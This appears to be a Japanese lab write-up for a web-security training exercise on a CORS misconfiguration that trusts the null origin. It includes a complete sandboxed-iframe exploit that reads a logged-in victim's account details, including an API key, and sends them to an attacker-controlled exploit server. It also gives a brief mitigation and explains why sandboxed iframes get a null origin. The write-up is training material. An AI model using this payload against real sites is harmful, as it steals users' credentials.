CORS vulnerability with trusted null origin
概要
Access-Control-Allow-OriginにNULLが設定されることが許可されている脆弱を利用して、被害者のAPIキーを取得する
攻撃手順
- Access-Control-Allow-OriginヘッダーにNULLが設定されることを許可されていることを確認
- 画面からAPIキーを取得し、攻撃者のサイトへリクエストするためのエクスプロイトを作成
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
対策
- Access-Control-Allow-OriginヘッダにNULLを設定できるようにしない
メモ
- Access-Control-Allow-OriginヘッダにNULLを設定できるのがAPIキーの漏洩の原因になる理由は、iframeにsandbox属性が設定されている、かつ、その値にallow-same-originが含まれていない場合、そのiframe内のコンテンツはnullオリジンとして扱われるため
クリアするまでにかかった時間
- 20m